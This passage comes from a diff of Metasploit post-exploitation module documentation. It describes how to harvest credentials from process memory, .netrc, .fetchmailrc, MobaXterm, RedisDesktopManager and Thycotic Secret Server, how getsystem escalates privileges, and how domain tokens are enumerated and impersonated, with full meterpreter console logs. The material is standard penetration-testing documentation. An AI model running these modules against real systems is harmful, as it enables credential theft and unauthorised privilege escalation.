`vsftpd`, `ssh`, and `lightdm`.
## Verification Steps
1. Get a meterpreter session on a Linux-based target (with root privileges)
2. Do: `use post/linux/gather/mimipenguin`
3. Do: `set session <sess_no>`
4. Do: `run`
5. You should get credentials for the vulnerable services installed
## Options
## Scenarios
### Ubuntu 22.04 x64
```
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.140
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.140:35100 ) at 2022-06-22 13:11:24 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.140
OS : Ubuntu 22.04 (Linux 5.15.0-37-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/linux/gather/mimipenguin
msf6 post(linux/gather/mimipenguin) > set session 1
session => 1
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 1 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon mimipenguin M!mipenguinPass
[*] Credentials stored in /home/space/.msf4/loot/20220622131237_default_192.168.140.140_mimipenguin.csv_806145.txt
[*] Post module execution completed
```
### Ubuntu 21.04 x64
```
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.131
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.131:57524 ) at 2022-06-22 13:17:35 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.131
OS : Ubuntu 21.04 (Linux 5.11.0-49-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 2
session => 2
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon space password
vsftpd jdoe AccountF0rFTP
[*] Credentials stored in /home/space/.msf4/loot/20220622131938_default_192.168.140.131_mimipenguin.csv_269764.txt
[*] Post module execution completed
```
### Fedora 27 x64
```
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.165
[*] Meterpreter session 3 opened (192.168.140.1:4444 -> 192.168.140.165:39180 ) at 2022-06-22 13:23:26 -0500
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 3
session => 3
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon mimipenguin M!mipenguinPass
vsftpd ftp_user FTPP@ssword
[*] Credentials stored in /home/space/.msf4/loot/20220622132521_default_192.168.140.165_mimipenguin.csv_330546.txt
[*] Post module execution completed
```
### Ubuntu 14.04.1 x86
```
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (989032 bytes) to 192.168.140.135
[*] Meterpreter session 4 opened (192.168.140.1:4444 -> 192.168.140.135:37070 ) at 2022-06-22 13:34:19 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.135
OS : Ubuntu 14.04 (Linux 4.4.0-142-generic)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 4...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 4
session => 4
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon space password
gnome-keyring-daemon test RunningUpThatH!ll
[*] Credentials stored in /Users/space/.msf4/loot/20220622133502_default_192.168.140.135_mimipenguin.csv_117775.txt
[*] Post module execution completed
```
@@ -0,0 +1,59 @@
## Vulnerable Application
Post module to obtain credentials saved for IMAP, POP and other mail
retrieval protocols in fetchmail's `.fetchmailrc`.
This file is kept in user's home directories to configure fetchmail,
but contains cleartext credentials.
### Example fetchmailrc file
Example documentation can be found in the fetchmail handbook:
https://docs.freebsd.org/doc/6.0-RELEASE/usr/share/doc/handbook/mail-fetchmail.html#:~:text=fetchmailrc%20serves%20as%20an%20example,user%20on%20the%20local%20system.
```
echo "poll example.com protocol pop3 username \"joesoap\" password \"XXX\"" > ~/.fetchmailrc
```
## Verification Steps
1. Start msfconsole
1. Get a shell on a system
1. Do: `use post/multi/gather/fetchmailrc_creds`
1. Do: `set session [session]`
1. Do: `run`
1. If any `.fetchmailrc` files exist with credentials, they will be read and stored into a loot file.
## Options
## Scenarios
### Ubuntu 22.04.01
```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH ubuntu @ 2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1)
msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/fetchmailrc_creds
msf6 post(multi/gather/fetchmailrc_creds) > set session 1
session => 1
msf6 post(multi/gather/fetchmailrc_creds) > run
[*] Parsing /home/ubuntu/.fetchmailrc
.fetchmailrc credentials
========================
Username Password Server Protocol Port
-------- -------- ------ -------- ----
joesoap XXX example.com pop3
[*] Credentials stored in: /root/.msf4/loot/20221008102916_default_1.1.1.1_fetchmailrc.cred_476989.txt
[*] Post module execution completed
```
@@ -0,0 +1,88 @@
## Vulnerable Application
Post module to obtain credentials saved for FTP and other services
in `.netrc`
This file is kept in user's home directories to configure various services,
such as curl, but contains cleartext credentials.
### Example netrc file
Example documentation can be found in the curl docs on netrc:
https://everything.curl.dev/usingcurl/netrc
```
echo "machine example.com login daniel password qwerty" > ~/.netrc
echo "machine example2.com" >> ~/.netrc
echo "login daniel2" >> ~/.netrc
echo "password qwerty2" >> ~/.netrc
```
## Verification Steps
1. Start msfconsole
1. Get a shell on a system
1. Do: `use post/multi/gather/netrc_creds`
1. Do: `set session [session]`
1. Do: `run`
1. If any `.netrc` files exist with credentials, they will be read and stored into a loot file.
## Options
## Scenarios
### Ubuntu 22.04.01
```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH ubuntu @ 2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1)
msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/netrc_creds
msf6 post(multi/gather/netrc_creds) > set session 1
session => 1
msf6 post(multi/gather/netrc_creds) > run
[*] Reading: /bin/.netrc
[*] Reading: /dev/.netrc
[*] Reading: /home/syslog/.netrc
[*] Reading: /home/ubuntu/.netrc
[*] Reading: /nonexistent/.netrc
[*] Reading: /root/.netrc
[*] Reading: /run/ircd/.netrc
[*] Reading: /run/sshd/.netrc
[*] Reading: /run/systemd/.netrc
[*] Reading: /run/uuidd/.netrc
[*] Reading: /usr/games/.netrc
[*] Reading: /usr/sbin/.netrc
[*] Reading: /var/backups/.netrc
[*] Reading: /var/cache/man/.netrc
[*] Reading: /var/cache/pollinate/.netrc
[*] Reading: /var/lib/gnats/.netrc
[*] Reading: /var/lib/landscape/.netrc
[*] Reading: /var/lib/tpm/.netrc
[*] Reading: /var/lib/usbmux/.netrc
[*] Reading: /var/list/.netrc
[*] Reading: /var/mail/.netrc
[*] Reading: /var/snap/lxd/common/lxd/.netrc
[*] Reading: /var/spool/lpd/.netrc
[*] Reading: /var/spool/news/.netrc
[*] Reading: /var/spool/uucp/.netrc
[*] Reading: /var/www/.netrc
.netrc credentials
==================
Username Password Server
-------- -------- ------
daniel qwerty example.com
daniel2 qwerty2 example2.com
[*] Credentials stored in: /root/.msf4/loot/20221008103946_default_1.1.1.1_netrc.creds_551386.txt
[*] Post module execution completed
```
@@ -0,0 +1,144 @@
## Vulnerable Application
This module uses the `getsystem` command to escalate the current session to the SYSTEM account using various techniques.
## Verification Steps
1. Do: `use post/windows/escalate/getsystem`
2. Do: `set SESSION -1`
3. Do: `run`
## Options
### TECHNIQUE
Specify a particular technique to use (1-6), otherwise try them all.
## Techniques
To be a getsystem technique instead of a local exploit, the technique should meet the following criteria:
* The technique must grant `NT AUTHORITY\SYSTEM`-level privileges through some means
* The technique must not have a patch either now or anticipated in the future (i.e. it is not a zero-day)
* The technique must escalate the current process in place and not execute a new payload
* The technique must not require any user-provided configuration options such as paths, ports, or credentials
* The technique must be highly reliable and avoid crashing the existing session
* The technique should work on both 32-bit and 64-bit architectures
* The technique should affect multiple versions of Windows
### 0 - All Techniques
The 0 technique will try all techniques, in order, starting at #1 and incrementing until one works.
### 1 - Named Pipe Impersonation
**Side Effects:** Creates a Service
**Requirements:** Group: Local Administrators
**Versions:** Windows XP / Server 2003 and later
This technique is classic named pipe impersonation where by a named pipe is opened on the target and a new service is
created to connect to it. When started, the service's configured command opens the named pipe as `NT AUTHORITY\SYSTEM`
which allows the listening process (Meterpreter) to obtain those privileges by calling [ImpersonateNamedPipeClient][1].
### 2 - Named Pipe Impersonation (DLL Dropper Variant)
**Side Effects:** Creates a Service, Writes to Disk
**Requirements:** Group: Local Administrators
**Versions:** Windows XP / Server 2003 and later
This technique is identical to technique #1, but writes a DLL to disk and configures the new service to execute it with
`rundll32` instead of using a command. When the service is started, `rundll32` will load the DLL which will connect to
the named pipe, allowing it to be impersonated. The DLL is deleted from disk once the operation is complete.
### 3 - Token Duplication
**Side Effects:** Injects into Processes
**Requirements:** Privilege: SeDebugPrivilege
**Versions:** Windows XP / Server 2003 and later
This technique will enable the `SeDebugPrivilege` privilege then enumerate and iterate over all running services. For each
running service, Meterpreter will attempt to open the process and reflectively inject a DLL into it. The DLL, once
injected and running in the context of the service process will check if it is currently running as
`NT AUTHORITY\SYSTEM` and if so, duplicate it's token to that of the Meterpreter process.
### 4 - Named Pipe Impersonation (RPCSS Variant)
**Side Effects:** None
**Requirements:** User: `NT AUTHORITY\NETWORK SERVICE`
**Versions:** Windows 8.1 / Server 2012 R2 and later
This technique will open a named pipe on the target, connects to and then impersonates itself. Due to how LSASS
functions if the Meterpreter process is running as `NT AUTHORITY\NETWORK SERVICE`, this can yield the necessary
privileges to open the RPCSS process which itself contains handles to `NT AUTHORITY\SYSTEM` tokens. Using the access to
the RPCSS process, one of these tokens is selected and duplicated.
#### References
* https://github.com/sailay1996/RpcSsImpersonator
* https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
* https://windows-internals.com/faxing-your-way-to-system/
### 5 - Named Pipe Impersonation (Print Spooler Variant)
**Side Effects:** None
**Requirements:** Privilege: SeImpersonatePrivilege
**Versions:** Windows 8.1 / Server 2012 R2 and later
This technique opens a named pipe on the target and triggers a connection to it via the [MS-RPRN][2] RPC Interface,
specifically by calling `RpcRemoteFindFirstPrinterChangeNotification`. Once the connection is received, the client is
impersonated using [ImpersonateNamedPipeClient][1] which elevates the listening process (Meterpreter) to
`NT AUTHORITY\SYSTEM`.
#### References
* https://github.com/itm4n/PrintSpoofer
* https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
### 6 - Named Pipe Impersonation (EfsPotato Variant)
**Side Effects:** None
**Requirements:** Privilege: SeImpersonatePrivilege
**Versions:** Windows Vista / Server 2008 and later
This technique opens a named pipe on the target and triggers a connection to it via the [MS-EFSR][3] RPC Interface,
specifically by calling `EfsRpcEncryptFileSrv`. Once the connection is received, the client is impersonated using
[ImpersonateNamedPipeClient][1] which elevates the listening process (Meterpreter) to `NT AUTHORITY\SYSTEM`.
#### References
* https://github.com/zcgonvh/EfsPotato
## Scenarios
### Windows 10 x64 21H2 Running As NT AUTHORITY\NETWORK SERVICE
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-81CEH16
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem -t 4
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
[1]: https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
[2]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1
[3]: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31
@@ -0,0 +1,72 @@
## Vulnerable Application
Any Windows host with a `meterpreter` session and MobaXterm v20.6+
installed. The following passwords will be searched for and recovered:
### Installation Steps
1. Download the latest installer of MobaXterm.
2. Select default installation
3. Open the software and click "Setting" in the toolbar, `General > MobaXterm password management > Master Password setting`
complete password setting, add the test account password to the certificate.
## Verification Steps
1. Get a `meterpreter` session on a Windows host.
2. Do: ```run post/windows/gather/credentials/moba_xterm```
3. If the system has registry keys for MobaXterm passwords they will be printed out.
## Options
**MASTER_PASSWORD**
- If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically
**CONFIG_PATH**
- Specifies the config file path for MobaXterm
## Scenarios
```
msf6 post(windows/gather/credentials/moba_xterm) > run
[*] Gathering MobaXterm session information from WIN-79MR8QJM50N
[!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24
%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #131#8%0%1009600%3%0%0%1%2%COM2 (ͨ˿ (COM2))#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Color
s_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #97#10%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #88#3%%0%-1%0%0%0%localhost%7100%1%0%1%0%657%336%0%0#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_
Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[+] MobaXterm Password
==================
Protocol Hostname Username Password
-------- -------- -------- --------
mobaserver mobauser 278804moba14071pass317387
[+] MobaXterm Credentials
=====================
CredentialsName Username Password
--------------- -------- --------
ftp 1212
ssh root admin
[+] MobaXterm Bookmarks
===================
BookmarksName Protocol ServerHost Port Credentials or Passwords
------------- -------- ---------- ---- ------------------------
ftp ftp ftp.asdas.com 21 asdas
msf telnet msf 23 msf
rdp (rdp) rdp rdp 3389 rdp
rsh rsh rdp.baid.com rsh #MobaFont
sftp sftp sftp.asdasd.com 22 asdasd
ssh ssh 127.0.0.1 22 [ssh]
telnet_test telnet telnet.kali-team.cn 23 admin
vnc vnc vnc.basbas.com 5900 -1
```
@@ -0,0 +1,46 @@
## Vulnerable Application
[RedisDesktopManager](https://github.com/uglide/RedisDesktopManager) stores its credentials
in a JSON file in plaintext. This module allow users who have successfully compromised a machine
running RedisDesktopManager to extract these credentials from the compromised system so that they can be reused
for future attacks or for password analysis.
### Setup Steps
1. Download the latest installer of RedisdDesktopManager from https://github.com/uglide/RedisDesktopManager/releases.
However you need to be subscribed to be able to run these editions. Therefore it is recommended that you download the Windows version from https://github.com/lework/RedisDesktopManager-Windows/releases and use these for testing if you don't have an existing Redis subscription.
2. Run the installer, follow the prompts, and select all the default settings.
3. Once everything has been installed, start RedisDesktopManager and click on `Connect To Redis Server`.
4. Click `OK` after filling in the connection information, including the username and password to log into the Redis server as.
## Verification Steps
1. `msfconsole`
2. Get a Meterpreter session on a Windows system
3. `use post/windows/gather/credentials/redis_desktop_manager`
4. `set SESSION <session number of the Meterpreter session>`
5. `run`
6. Verify that the module was able to extract the connection credentials you entered during the `Setup Steps` phrase.
## Options
### REGEX
Users can set their own regular expressions that will be utilized to
determine which credentials to extract. The default is set to `^password`.
### VERBOSE
By default this option is turned off. When turned on, the module will show information on files
which aren't extracted and information that is not directly related to the artifact output.
### STORE_LOOT
This option is turned on by default and will cause the module to save
the stolen artifacts/files to the loot files on the machine running Metasploit.
This is required for extracting credentials from files using regexp,
JSON, XML, and SQLite queries.
### EXTRACT_DATA
This option is turned on by default and will perform the data extraction using the
predefined regular expression. The `STORE_LOOT` option must be turned on in
order for this to work.
## Scenarios
@@ -0,0 +1,127 @@
This module exports and decrypts Secret Server credentials to a CSV file; it is intended as a
post-exploitation module for Windows hosts with Delinea/Thycotic Secret Server installed. Master
Encryption Key (MEK) and associated IV values are decrypted from `encryption.config` using a
static key baked into the software; there is also support for encryption configs configured with
Windows DPAPI MachineKey protection. The module contains two actions, `dump` and `export`, the
former extracts the encrypted Secret Server database and performs decryption, and the latter
allows the encryption keys and encrypted database to be plundered for later offline decryption
in situations where expedience is necessary.
This module incorporates original research published by the authors of SecretServerSecretStealer,
a PowerShell script designed to harvest Secret Server credentials. The GitHub repo for
SecretStealer.ps1 includes tons of notes on the internals of Secret Server:
https://github.com/denandz/SecretServerSecretStealer
## Vulnerable Application
This module has been tested against Secret Server versions 8.4 through 11.2, though it may work on
earlier versions. It is intended to be run after successfully exploiting a Windows host with the
Delinea/Thycotic Secret Server software installed. The module supports decryption of configuration
files that have been protected by Windows DPAPI, but does not support extraction of any secrets
if the system is configured with a Hardware Security Module (HSM).
## Verification Steps
This is a post module and requires a meterpreter session on the Microsoft Windows server host
with a configured instance of Delinea/Thycotic Secret Server installed.
1. Start msfconsole
2. Get session on Secret Server host via method of choice and background it
3. Do: `use post/windows/gather/credentials/thycotic_secretserver_dump`
4. Do: `set session <session>`
5. Do: `dump` to extract and decrypt the Secret Server database, or `export` to extract the encrypted database only
## Options
### SESSION
Which session to use, which can be viewed with `sessions -l`
## Scenarios
Windows Server 2019 host running Secret Server 11.2 using the `dump` action:
```
msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > dump
[*] Hostname THYCOTIC IPv4 10.1.0.113
[*] Decrypt database.config ...
[+] Secret Server SQL Database Connection Configuration:
[+] Instance Name: localhost\SQLEXPRESS
[+] Database Name: SecretServer
[+] Database User: sa
[+] Database Pass: !-TUwX!_-gD-wak-cugyU-0GX0$vL-evYG2
[*] Secret Server Build 11.22
[*] Decrypt encryption.config ...
[+] Secret Server Encryption Configuration:
[+] KEY: fc35d1abcade1c180c699e10fbb3efeb
[+] KEY256: e768c5223bafa5481faca1ee10b63fb80c699e10ffa694ce29adc66963d05109
[+] IV: 2c2df1a68dbc29adc66041bd6e6e4ad3
[*] Performing export and decryption of Secret Server SQL database
[*] Export Secret Server DB ...
[+] 47842 rows exported, 19915 unique SecretIDs
[+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829112535_default_10.1.0.113_thycotic_secrets_288749.txt
[+] 47842 rows loaded, 19915 unique SecretIDs
[*] Process Secret Server DB ...
[-] SecretID 1395 field 'Notes' failed to decrypt
[-] SecretID 2050 field 'Notes' failed to decrypt
[-] SecretID 2506 field 'Notes' failed to decrypt
[-] SecretID 2549 field 'Notes' failed to decrypt
[-] SecretID 2558 field 'Notes' failed to decrypt
[-] SecretID 2566 field 'Notes' failed to decrypt
[-] SecretID 2567 field 'Notes' failed to decrypt
[-] SecretID 2583 field 'Notes' failed to decrypt
[-] SecretID 3393 field 'Notes' failed to decrypt
[-] SecretID 4060 field 'Notes' failed to decrypt
[!] SecretID 4092 field 'SFTP Site' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 4103 field 'Notes' failed to decrypt
[-] SecretID 4174 field 'Notes' failed to decrypt
[-] SecretID 4625 field 'Notes' failed to decrypt
[-] SecretID 5393 field 'Notes' failed to decrypt
[-] SecretID 5647 field 'Notes' failed to decrypt
[-] SecretID 6018 field 'Notes' failed to decrypt
[-] SecretID 6250 field 'Notes' failed to decrypt
[-] SecretID 6263 field 'Notes' failed to decrypt
[-] SecretID 6657 field 'Notes' failed to decrypt
[-] SecretID 9169 field 'Notes' failed to decrypt
[-] SecretID 10577 field 'Notes' failed to decrypt
[-] SecretID 10777 field 'Notes' failed to decrypt
[!] SecretID 11097 field 'Notes' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 11319 field 'Notes' failed to decrypt
[-] SecretID 11973 field 'Notes' failed to decrypt
[-] SecretID 11974 field 'Notes' failed to decrypt
[-] SecretID 11997 field 'Notes' failed to decrypt
[!] 47842 rows processed (26 rows failed)
[*] 45117 rows recovered: 34479 plaintext, 10638 decrypted (2699 blank)
[*] 45117 rows written (2699 blank rows withheld)
[+] 19836 unique SecretID records recovered
[+] Decrypted Secret Server Database Dump: /root/.msf4/loot/20220829112547_default_10.1.0.113_thycotic_secrets_357639.txt
[*] Post module execution completed
msf6 post(multi/gather/thycotic_secretserver_dump) >
```
Windows Server 2019 host running Secret Server 11.2 using the `export` action:
```
msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > export
[*] Hostname THYCOTIC IPv4 10.1.0.113
[*] Decrypt database.config ...
[+] Secret Server SQL Database Connection Configuration:
[+] Instance Name: localhost\SQLEXPRESS
[+] Database Name: SecretServer_112E
[+] Database User: (Windows Integrated)
[!] The database uses Windows authentication
[!] Session identity must have access to the SQL server instance to proceed
[*] Secret Server Build 11.22
[*] Decrypt encryption.config ...
[+] Secret Server Encryption Configuration:
[+] KEY: 376f80b25053d74afcc321837442ddc9
[+] KEY256: 5b0f4d7d2d89c180b62c64b881072d4cf2b6fd0487c9d4438050a4734a3ece19
[+] IV: d933b2ad66c785891d4bc916cebdde15
[*] Performing export of Secret Server SQL database to CSV file
[*] Export Secret Server DB ...
[+] 3 rows exported, 1 unique SecretIDs
[+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829113427_default_10.1.0.113_thycotic_secrets_175194.txt
[*] Post module execution completed
@@ -1,7 +1,7 @@
## Vulnerable Application
This module identifies the primary domain via the registry. The registry value used is:
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\DCName`.
This module identifies the primary Active Directory domain name
and domain controller.
## Verification Steps
@@ -10,34 +10,36 @@ This module identifies the primary domain via the registry. The registry value u
1. Do: `use post/windows/gather/enum_domain`
1. Do: `set session [#]`
1. Do: `run`
1. You should information on the computer's domain
1. You should receive Active Directory domain information
## Options
## Scenarios
### Windows 2012 DC
### Windows 2016 with Windows 2008 SP1 DC
```
msf6 post(windows/gather/enum_domain) > sessions -i 6
[*] Starting interaction with 6...
msf6 post(windows/gather/enum_domain) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DC1
OS : Windows 2012 (6.2 Build 9200).
Computer : WIN-7V3NGVNQTJ1
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : hoodiecola
Domain : CORP
Logged On Users : 4
Meterpreter : x86/windows
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 6...
[*] Backgrounding session 1...
msf6 post(windows/gather/enum_domain) > use post/windows/gather/enum_domain
msf6 post(windows/gather/enum_domain) > set session 6
session => 6
msf6 post(windows/gather/enum_domain) > set session 1
session => 1
msf6 post(windows/gather/enum_domain) > run
[+] FOUND Domain: hoodiecola
[+] FOUND Domain Controller: dc1 (IP: 1.1.1.1)
[+] Domain FQDN: corp.local
[+] Domain NetBIOS Name: CORP
[+] Domain Controller: WIN-17B09RRRJTG.corp.local (IP: 192.168.200.218)
[*] Post module execution completed
```
@@ -1,12 +1,10 @@
## Vulnerable Application
This module extracts user accounts from specified group and stores
the results in the loot. It will also verify if session account is
in the group. Data is stored in loot in a format that is compatible
with the `token_hunter` plugin. This module should be run over as
session with domain credentials.
This information is gathered through the `net groups <domain> /domain` command.
This module extracts user accounts from the specified domain group
and stores the results in the loot. It will also verify if session
account is in the group. Data is stored in loot in a format that
is compatible with the `token_hunter` plugin. This module must be
run on a session running as a domain user.
## Verification Steps
@@ -14,7 +12,7 @@ This information is gathered through the `net groups <domain> /domain` command.
1. Get a session on a Windows target which is joined to a domain
1. Do: `use post/windows/gather/enum_domain_group_users`
1. Do: `set session [#]`
1. Do: `set group`
1. Do: `set group [group]`
1. Do: `run`
1. You should get the domain members for the group.
@@ -50,14 +48,14 @@ group => finance
msf6 post(windows/gather/enum_domain_group_users) > run
[*] Running module against DC1
[-] No members found for finance
[-] Post aborted due to failure: unknown: No members found for 'hoodiecola\finance' group.
[*] Post module execution completed
msf6 post(windows/gather/enum_domain_group_users) > set group "quality control"
group => quality control
msf6 post(windows/gather/enum_domain_group_users) > run
[*] Running module against DC1
[*] Found users in quality control
[*] Running module against DC1 (1.1.1.1)
[*] Found 3 users in 'hoodiecola\quality control' group.
[*] hoodiecola\rachel
[*] hoodiecola\lisa
[*] hoodiecola\charles
@@ -0,0 +1,83 @@
## Vulnerable Application
This module enumerates domain account tokens, processes running under
domain accounts, and domain users in the local Administrators, Users
and Backup Operator groups.
## Verification Steps
1. Start msfconsole
1. Get a Meterpreter session on a Windows target on a domain
1. Do: `use post/windows/gather/enum_domain_tokens`
1. Do: `set session [#]`
1. Do: `run`
1. You should receive a list of Active Directory domain accounts with impersonation tokens
## Options
## Scenarios
### Local Administrator session on Windows Server 2016
```
msf6 > use post/windows/gather/enum_domain_tokens
msf6 post(windows/gather/enum_domain_tokens) > set session 1
session => 1
msf6 post(windows/gather/enum_domain_tokens) > run
[*] Running module against WIN-7V3NGVNQTJ1 (192.168.200.215)
[+] Current session is running under a Local Admin account
[*] This host is not a domain controller
[*] Checking local groups for Domain Accounts and Groups
Account in Local Groups with Domain Context
===========================================
Local Group Member Domain Admin
----------- ------ ------------
Administrators CORP\Domain Admins false
Backup Operators CORP\asdf false
Users CORP\Domain Users false
[*] Checking for processes running under domain user
Processes under Domain Context
==============================
Process Name PID Arch User Domain Admin
------------ --- ---- ---- ------------
cmd.exe 3504 x64 CORP\corpadmin true
conhost.exe 4008 x64 CORP\corpadmin true
[*] Checking for Domain group and user tokens
Impersonation Tokens with Domain Context
========================================
Token Type Account Type Account Name Domain Admin
---------- ------------ ------------ ------------
Delegation User CORP\corpadmin true
Delegation Group CORP\Denied RODC Password Replication Group false
Delegation Group CORP\Domain Users false
[*] Post module execution completed
msf6 post(windows/gather/enum_domain_tokens) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WIN-7V3NGVNQTJ1\Administrator
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > impersonate_token CORP\\corpadmin
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user CORP\corpadmin
meterpreter > getuid
Server username: CORP\corpadmin
meterpreter >
```
@@ -0,0 +1,38 @@
## Vulnerable Application
This module will enumerate Microsoft product license keys.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_ms_product_keys`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows 7 Professional SP1 (x64)
```
msf6 > use post/windows/gather/enum_ms_product_keys
msf6 post(windows/gather/enum_ms_product_keys) > set session 1
session => 1
msf6 post(windows/gather/enum_ms_product_keys) > run
[*] Finding Microsoft product keys on TEST (192.168.200.190)
Keys
====
Product Registered Owner Registered Organization License Key
------- ---------------- ----------------------- -----------
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
[+] Product keys stored in: /root/.msf4/loot/20220814092725_default_192.168.200.190_host.ms_keys_579592.txt
